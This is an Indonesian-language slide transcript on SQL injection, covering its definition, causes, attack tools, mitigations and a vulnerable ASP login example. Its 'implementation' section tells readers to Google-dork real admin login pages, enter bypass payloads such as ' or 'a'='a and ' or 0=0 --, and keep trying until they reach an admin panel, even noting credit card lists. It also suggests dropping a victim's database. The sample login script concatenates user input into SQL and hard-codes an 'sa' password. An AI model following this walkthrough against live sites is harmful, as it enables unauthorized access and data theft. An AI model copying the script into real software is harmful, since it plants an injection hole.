SQL Injection

13
SQL INJECTION A. Definisi SQL injection adalah suatu teknik yang dapat dilakukan oleh cracker untuk dapat masuk kedalam system administrator tanpa mengetahui username dan password administrator terlebih dahulu dengan memanfaatkan perintah-perintah SQL yang dimasukkan kedalam database mesin server. Seiring dengan berjalannya waktu, akibat banyaknya para hacker muda yang lahir untuk melakukan kejahatan di dunia maya, maka banyak metode yang mereka gunakan untuk melakukan teknik serangan seperti Cross Site Scripting, Directory Traversal Attack, Parameter Manipulation dan lain sebagainya. Adapun salah satu contoh teknik serangan yang sering mereka gunakan adalah teknik serangan melalui SQL injection. Sebenarnya SQL injection sendiri bukanlah hal baru, dari dulu teknik ini sudah dikenal dalam dunia hacking sebagai salah satu teknik web hacking, namun baru muncul lagi sekarang karena sifatnya yang dapat merusak database dari suatu situs. Teknik yang digunakan dalam SQL injection adalah dengan jalan menginput perintah-perintah standar dalam SQL (DDL, DML, DCL) seperti create, insert, upate, dorp, alter, union dan select beserta perintah-perintah lainnya yang tak asing lagi bagi anda yang sudah mengenal SQL secara mendalam maupun yang baru saja belajar.

description

sql injection

Transcript of SQL Injection

Page 1: SQL Injection

SQL INJECTION

A. Definisi

SQL injection adalah suatu teknik yang dapat dilakukan oleh cracker untuk dapat masuk

kedalam system administrator tanpa mengetahui username dan password administrator terlebih

dahulu dengan memanfaatkan perintah-perintah SQL yang dimasukkan kedalam database mesin

server.

Seiring dengan berjalannya waktu, akibat banyaknya para hacker muda yang lahir untuk

melakukan kejahatan di dunia maya, maka banyak metode yang mereka gunakan untuk

melakukan teknik serangan seperti Cross Site Scripting, Directory Traversal Attack, Parameter

Manipulation dan lain sebagainya. Adapun salah satu contoh teknik serangan yang sering mereka

gunakan adalah teknik serangan melalui SQL injection.

Sebenarnya SQL injection sendiri bukanlah hal baru, dari dulu teknik ini sudah dikenal

dalam dunia hacking sebagai salah satu teknik web hacking, namun baru muncul lagi sekarang

karena sifatnya yang dapat merusak database dari suatu situs. Teknik yang digunakan dalam

SQL injection adalah dengan jalan menginput perintah-perintah standar dalam SQL (DDL,

DML, DCL) seperti create, insert, upate, dorp, alter, union dan select beserta perintah-perintah

lainnya yang tak asing lagi bagi anda yang sudah mengenal SQL secara mendalam maupun yang

baru saja belajar.

SQL singkatan dari Structured Query Language yg merupakan bahasa komputer standar

yang ditetapkan oleh ANSI (American National Standard Institute) untuk mengakses dan

memanupulasi sistem database. SQL bekerja dengan program database seperti MS Access, DB 2,

Informix, MS SQL Server, Oracle, Sybase dan lain sebagainya.

SQL injection attack merupakan salah satu teknik dalam melakukan web hacking untuk

menggapai akses pada sistem database yg berbasis SQL. Teknik ini memanfaatkan kelemahan

dalam bahasa pemprograman scripting pada SQL dalam mengolah suatu sistem database. Hasil

yang ditimbulkan dari teknik ini membawa masalah yang sangat serius.

Page 2: SQL Injection

B. Sebab terjadinya SQL INJECTION

SQL injection yang dapat diartikan sebagai suatu aksi hacking yang dilakukan di aplikasi

client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi client dapat

terjadinya karena disebabkan oleh beberapa penyebab yatu : Tidak adanya penanganan terhadap

karakter – karakter tanda petik satu dan juga karakter double minus yang menyebabkan suatu

aplikasi dapat disisipi dengan perintah SQL. Sehingga seorang Hacker menyisipkan perintah

SQL kedalam suatu parameter maupun suatu form.

C. Karakteristik SQL INJECTION

SQL injection yang merupakan jenis serangan dari para hacker mempunyai beberapa

karakteristik yaitu :

1. Teknik serangan ini memungkinkan seseorang dapat login kedalam sistem tanpa harus

memiliki account.

2. Selain itu SQL injection juga memungkinkan seseorang merubah, menghapus, maupun

menambahkan data–data yang berada didalam database. Bahkan yang lebih berbahaya

lagi yaitu mematikan database itu sendiri, sehingga tidak bisa memberi layanan kepada

web server.

D. Tools Pendukung

Untuk dapat melakukan aksi SQL injection, para hacker membutuhkan beberapa tools yang

akan mereka gunakan sebagai pendukung untuk melakukan teknik penyerangan diantaranya

adalah sebagai berikut :

1. Internet Exploler / Browser

2. PC yang terhubung internet

3. Program atau software seperti:

a. BSQL hacker

b. The Mole

c. Pangolin

d. SQLMap

e. Havij

Page 3: SQL Injection

f. Enema SQLi

g. SQL Ninja

h. SQL Sus

i. Safe SQL Injector

E. Penanganan SQL INJECTION

a. Merubah Script PHP

b. Menggunakan MYSQL_ESCAPE_STRING

c. Pemfilteran karakter dengan memodifikasi php.ini

F. Meminimalisir serangan SQL injection

Ada beberapa cara yang dapat digunakan untuk meminimalisasikan terjadinya serangan

SQL injection diantaranya adalah sebagai berikut :

a. Warning atau Error pada query tidak perlu ditampilkan. Lebih baik dibuat script yang

akan langsung memfeedback log error/warning ke developer/adminnya jika terjadi

kesalahan query, sementara di end-user bisa ditampilkan, misal error 404. Kalau Anda

pernah / sering hosting di beberapa web hosting, pastinya ada beberapa web hosting yang

memberikan penamaan yang sama untuk direktori usernya (shared hosting), misal

/sompret/x2324/nama-domain (dimana sompret selalu sama untuk setiap user dalam satu

mesin, x2324 adalah username, dan nama-domain adalah nama domain yang digunakan

si x2324. Pesan warning dan error query yang terjadi akibat script akan menampilkan

path letak file tersebut. Akan lebih parah lagi jika user memberi permission 777 ke dir /

file.

b. Developer hendaknya melakukan validasi terhadap URL dan memfilter bentuk request

yang menjurus terhadap tindakan injeksi.

c. Jangan pernah dumping database ke direktori yang tidak restrict permissionnya / publik.

Dan lagi penamaan terhadap file hasil dumping database diusahakan tidak umum seperti

pemberian tanggal-bulan-tahun (misal : 13071984.sql). Beberapa third party atau

Page 4: SQL Injection

extension / module suatu CMS yang menggunakan konfigurasi default bisa ditebak

direktori dan nama filenya.

d. Lakukaan audit sendiri dengan berbagai macam tools yang ada.

G. LOKASI SQL INJECTION

Untuk dapat melakukan SQL injection pada setiap target situs tidak harus melalui inboxnya

saja akan tetapi hacker bisa memasukan string-string SQL di URL situs yang telah menjadi target

sebelumnya.

Misalnya situs www.target.com/moreinfo.cfm dengan ProductID = 245 lalu hacker

mengetikkan string injeksi debuging SQL tadi ke address bar yang dituju dibelakang url target

itu, contohnya: www.target.com/moreinfo.cfm dengan ProductID = 245' having 1 = 1 dan juga

hacker dapat menghapus nilai produk dari URL tersebut dan menggantinya dengan debugging

code, sebagai contoh: www.target.com/moreinfo ProductID = 'having 1=1—

Setelah itu akan keluar sebuah error page dari situs itu yang memberi informasi tentang

struktur database situs itu. Dari hasil informasi yang telah didapat ini, hacker dapat melakukan

serangan berikutnya. Apabila browser kita adalah Internet Explorer, ada sebagian situs yang

tidak menampilkan error-nya, ini dikarenakan opsi Show Friendly HTTP Error Messages

diaktifkan.

Untuk itu hacker perlu menonaktifkannya dengan cara menghilangkan tanda centang di

kotaknya. Opsi ini dapat anda temukan di Tools > Internet Option > Advanced cari opsinya di

bagian Browsing lalu hilangkan tanda centangnya dan klik tombol Apply. Sesudah itu apabila

anda menemui error page yang berisi HTTP 500 error - internal server error- sebelum men-set

opsi tadi, anda cukup menekan tombol Refresh, lalu terlihatlah sudah error-nya. Setelah kita tahu

struktur database-nya, dengan pengetahuan dasar dari belajar SQL kita dapat menghancurkan

database itu dengan perintah ' drop database [nama_database] atau drop table [nama_table].

Page 5: SQL Injection

H. IMPLEMENTASI SQL INJECTION

1. Masuk ke google atau browse yg lain

2. Masukkan salah satu keyword berikut

"/admin.asp"

"/login.asp"

"/logon.asp"

"/adminlogin.asp"

"/adminlogon.asp"

"/admin_login.asp"

"/admin_logon.asp"

"/admin/admin.asp"

"/admin/login.asp"

"/admin/logon.asp"

{anda bisa menambahi sendiri sesuai keinginan anda}

3. Bukalah salah satu link yang ditemukan oleh google, kemungkinan Anda akan

menjumpai sebuah halaman login (user name danpassword).

4. Masukkan kode berikut :

User name : ` or `a'='a

Password : ` or `a'='a (termasuk tanda petiknya)

5. Jika berhasil, kemungkinan Anda akan masuk ke admin panel, di mana Anda bisa

menambahkan berita, mengedit user yang lain, merubah about,

dan lain-lain. Jika beruntung Anda bisa mendapatkan daftar kredit card yang banyak.

6. Jika tidak berhasil, cobalah mencari link yang lain yang ditemukan oleh google.

7. Banyak variasi kode yang mungkin, antara lain :

User name : admin

Password : ` or `a'='a

atau bisa dimasukkan ke dua–duanya misal :

‘ or 0=0 -- ; “ or 0=0 -- ; or 0=0 -- ; ‘ or 0=0 # ;

“ or 0=0 # ; ‘ or’x’=’x ; “ or “x”=”x ; ‘) or (‘x’=’x

8. Cobalah sampai berhasil hingga anda bisa masuk ke admin panel.

Page 6: SQL Injection

I. CONTOH SQL INJECTION SEDERHANA

Contoh mengenai kasus SQL injection yang sampai saat ini dan detik ini juga masih sering

kita jumpai pada situs-situs di internet. Salah satu penyalahgunaan bug SQL injection adalah

digunakan untuk mem-bypass sistem login pada suatu situs. Contoh kali ini akan kita rancang

sendiri sedemikian rupa mulai dari merancang database, membuat script sampai melakukan SQL

injection terhadap script yang kita buat tersebut. Kita akan menggunakan MS SQL Server

sebagai databasenya, ASP sebagai scripting languange nya dan sembarang HTML editor untuk

membuat layar loginnya (penulis disini menggunakan MS FrontPage). Sebagai contoh, kita

menggunakan MS IIS sebagai web server. Siapkan MS IIS dan juga MS SQL Server 2000.

Pertama-tama kita akan buat dahulu databasenya. Siapkan database dengan nama sqlinject dan

buat tabel di dalamnya dengan nama tbUser. Berikut ini adalah struktur dari tabel tbUser melalui

perintah SQL CREATE TABLE.

Create table tbUser

{

username varchar(50),

password varchar(50))

Isikan data ke dalam tabel tersebut dengan mengetikkan perintah SQL seperti berikut ini.

insert into tbUser values('sql','inject')

Sekarang kita sudah mempunyai sebuah database yang bernama 'sqlinject', sebuah tabel yang

bernama 'tbUser' dan tabel tersebut sudah diisi dengan satu buah row data. Sekarang kita akan

buat sebuah halaman login yang digunakan sebagai interface web-nya. Penulis beri nama filenya

yaitu login.asp.

Bentuk tampilan dari layar login ini bisa Anda lihat seperti berikut ini.

Page 7: SQL Injection

Setelah itu kita buat script untuk memproses login ini, penulis beri nama login_process.asp.

Code pada file login_process.asp adalah sebagai berikut. Untuk koneksi ke database (SQL

Server) penulis menggunakan metode SQL Authentication, server pada localhost, username 'sa'

dan password 'rahasia'.

Script untuk proses login :

<% option explicit %>

<% dim connstring,conn,recset connstring

= "Provider=SQLOLEDB.1; Password=rahasia;

Persist Security Info=True; User ID=sa; Initial Catalog=sqlinject;

ata Source=localhost"

set conn = server.createobject("adodb.connection")

set recset = server.createobject("adodb.recordset")

conn.open connstring

recset.open "select * from tbUser where username = '" &

request.form("username") & "' and password = '" &

request.form("password") & "'",conn,3,2

if not recset.eof then response.write recset.recordcount

session("username") = request.form("username")

response.redirect "secured_page.asp"

Page 8: SQL Injection

else

response.redirect "login.asp"  end if

%>

Kita lihat pada code diatas terdapat operasi SELECT ke SQL yang mencari username dan

password dari tabel tbUser. Jika username dan password yang dimasukkan benar maka akan

masuk ke halaman secured_page.asp (ada pada bagian akhir dari tulisan ini). Maksud dari

halaman secured_page.asp ini adalah bahwa halaman tersebut hanya bisa diakses jika Anda

mengisikan username dan password dengan benar. Anda tidak bisa mengetikkan URL halaman

tersebut secara langsung.

J. CARA PENCEGAHAN

1. Membatasi panjang dari suatu input box (jika memungkinkan), dengan

cara membatasinya di kode program, jadi si hacker pemula akan bingung sejenak melihat

input box nya gak bisa diinject dengan perintah yang panjang.

2. Memfilterisasi input yang dimasukkan oleh user, terutama penggunaan tanda kutip

tunggal (Input Validation).

3. Mematikan atau sembunyikan pesan-pesan error yang keluar dari SQL Server yang

berjalan.

4. Mematikan fasilitas-fasilitas standar seperti Stored Procedures, Extended Stored

Procedures jika memungkinkan.

5. Mengubah "Startup and run SQL Server" menggunakan low privilege user di SQL Server

Security tab.